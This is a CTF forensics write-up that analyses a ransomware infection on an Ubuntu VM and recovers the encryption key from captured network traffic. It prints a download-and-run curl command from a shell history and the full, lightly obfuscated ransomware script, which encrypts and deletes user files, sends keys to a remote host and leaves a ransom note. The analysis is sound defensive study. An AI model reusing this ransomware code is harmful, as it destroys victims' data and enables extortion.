Scriptkiddie [forensics]

Scriptkiddie

Script kiddie. One of my students felt like a cool ransomware hacker. This is just as funny as stupid, for we have all the traffic been written...

Download: volga2020-ubuntu.ova

Recon

The .ova file contains:

  • ubuntu-disk001.vmdk
  • ubuntu.mf
  • ubuntu.ovf

VMWare

The volga2020-ubuntu.ova file can be imported in VMWare, then boot in ubuntu recovery mode and go to root shell.

First thing we did was to see what commands root had run

/root/.bash_history:

su - test
exit
su - test
exit

So apparently there is also a test user, let's see what commands the test user had run

/home/test/.bash_history:

curl http://192.168.1.38:1111/clev.py > .s.py
file .s.py
python3.7 .s.py 
rm .s.py 
exit
ls
cat message 
cd data/
ls
cat secrets.txt.enc

Secrets

From this information we can conclude that a python script was downloaded, executed and removed. We also notice a message file and an encrypted file data/secrets.txt.enc. The message file contained the following message:

Alll your files was encrypted
. Contact Ywe23z3565yrgbv@protonmail.com for information(mention IP address on theme)

So it seems we have to find out how data/secrets.txt.enc was encrypted and probably decrypt it to get the flag. We also notice that a prod user is available on the system.

/home/prod/.bash_history:

sudo wget https://wordpress.org/latest.tar.gz
mysql -u root -p
mysql -u root -p
ls
tar xvzf latest.tar.gz 
...
cd net_dumps/
ip a
sudo tcpdump -i enp0s3 -w dump.pcap

We see the prod user install Wordpress and monitoring some network traffic which is saved in net_dumps/dump.pcap. We open this pcap file in Wireshark and search on the ip-address 192.168.1.38 (from history of test user). We find the downloaded python script in tcp stream 1331.

Encrypt.py

Python script that was used to encrypt the files:

#!/usr/bin/env python3
F=len
W=bytes
L=open
B=True
R=False
o=range
l=exit
import sys
z=sys.platform
import os
J=os.walk
T=os.remove
S=os.environ
import platform
h=platform.system
E=platform.machine
e=platform.platform
X=platform.node
import hashlib
a=hashlib.sha256
import string
C=string.ascii_letters
O=0
N=1
G=2
g=('192.168.1.38',9999)
def x(u):
 y=16-(F(u)%16)
 u+=W([y])*y
 return u
def w(u):
 u=u[:-u[-1]]
 return u
U=['.doc','.txt','.rc','.ini','.dat','.conf','_history']
class V():
 def __init__(Q):
  f=X()+'//'+e()
  d=S['HOME']
  P=d.split('/')[-1]
  v=E()
  D=h()
  if not d:
   import getpass
   P=getpass.getuser()
   d='/home/'+P
  b=':'.join(x for x in[f,v,D,P,d])
  Q.id=a(b.encode('utf8')).hexdigest()
  Q.system=D
  Q.machine=v
  Q.user=P
  Q.home=d
  if "linux" in z:
   Q.platform=O
  elif "darwin" in z:
   Q.platform=N
  elif "win32" in z:
   Q.platform=G
  try:
   f=L('/tmp/.X11.'+Q.id,'r')
   Q.inf=B
  except FileNotFoundError:
   f=L('/tmp/.X11.'+Q.id,'w')
   Q.inf=R
   f.write(Q.id)
  f.close()
 def r(Q,c,fl):
    import os
    J=os.walk
    T=os.remove
    S=os.environ
    try:
         f=L(fl,'rb')
         d=f.read()
         f.close()
         d=x(d)
         q=c.encrypt(d)
         f=L(fl+'.enc','wb')
         f.write(q)
         f.close()
         T(fl)
    except:
        pass
 def t(Q):
  import socket
  import random
  import base64
  M=[]
  for x in o(16):
   p=''.join(random.choices(C,k=16))
   M.append(p)
  u=','.join(k for k in M)
  u=W(u,"utf-8")
  u=base64.b64encode(u)
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  s.connect(g)
  s.sendall(W(Q.id,"utf-8"))
  s.recv(1)
  s.sendall(u)
  from Crypto.Cipher import AES
  c=AES.new(p,AES.MODE_ECB)
  for(dirpath,dirnames,filenames)in J(Q.home):
   if '.ssh' not in dirnames:
    for fn in filenames:
     for e in U:
      if fn.endswith(e):
       Q.r(c,dirpath+'/'+fn)
       break
  f=L(Q.home+'/message','wb')
  f.write(W('All your files was encrypted\n. Contact Ywe23z3565yrgbv@protonmail.com for information(mention IP address on theme)\n','utf-8'))
  f.close()
k=V()
if k.platform!=O:
 l(-1)
if k.inf:
 l(0)
k.t()

Although the script is a bit obfuscated we see some encryption taking place with AES in ECB mode.

...
C=string.ascii_letters
...
q=c.encrypt(d)
...
  for x in o(16):
   p=''.join(random.choices(C,k=16))
...
  from Crypto.Cipher import AES
  c=AES.new(p,AES.MODE_ECB)

It seems we now only need to find out the key which was used. The script creates 16 keys (random string of 16 characters) and uses the last value to encrypt the files.

After creating the keys the script uploads them in base64 format to 192.168.1.38.

g=('192.168.1.38',9999)
...
  M=[]
  for x in o(16):
   p=''.join(random.choices(C,k=16))
   M.append(p)
  u=','.join(k for k in M)
  u=W(u,"utf-8")
  u=base64.b64encode(u)
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  s.connect(g)
  s.sendall(W(Q.id,"utf-8"))
  s.recv(1)
  s.sendall(u)

We check the PCAP file and find the Base64 encoded string in tcp stream 1332:

bVRHZWxqaERSS0FTS0toUSxGTHJzU0V2ZVFRaWxvUFJuLFhlZ
FhIWUJVSHBJWERCSlAsSU9HUEVyam9zeE5pUXJOTSxSenZwYk
VVUkxkRmZhR0ZNLHZkQlZEQ3ZpeGpTaENRdnksRVFsY3NuVXR
6Q0h5RlBITSxKa0RpamdBRmlWQldKYUx6LGdoY1BJT1NxQ2RD
VHFPcEQsRG5lQ3dia0RIa29qcHBIbSxsVlJaUmVBbGFJekhna
XNjLE5kamNnVlZqaWlueGZ0Q0MsUmtnTHBSQ3FybmlicnFzTi
xremV3dGVBZ1BFWmRrelFKLEhucEdvVWVxY2tFcXhwUW0sTFN
OV1JhclRoUmRpUExwTQ==

This decrypts to:

mTGeljhDRKASKKhQ,FLrsSEveQQiloPRn,
XedXHYBUHpIXDBJP,IOGPErjosxNiQrNM,
RzvpbEURLdFfaGFM,vdBVDCvixjShCQvy,
EQlcsnUtzCHyFPHM,JkDijgAFiVBWJaLz,
ghcPIOSqCdCTqOpD,DneCwbkDHkojppHm,
lVRZReAlaIzHgisc,NdjcgVVjiinxftCC,
RkgLpRCqrnibrqsN,kzewteAgPEZdkzQJ,
HnpGoUeqckEqxpQm,LSNWRarThRdiPLpM

So the last value should be the key: LSNWRarThRdiPLpM. With the key and encrypted file we can write a script to decrypt the file.

Decrypt.py

from Crypto.Cipher import AES

key = "LSNWRarThRdiPLpM"
with open("secrets.txt.enc", "rb") as f:
    data = f.read()

aes = AES.new(key, AES.MODE_ECB)
print aes.decrypt(data)

Flag

flag{26c08ad080830d6dcd76c15009ab6b03}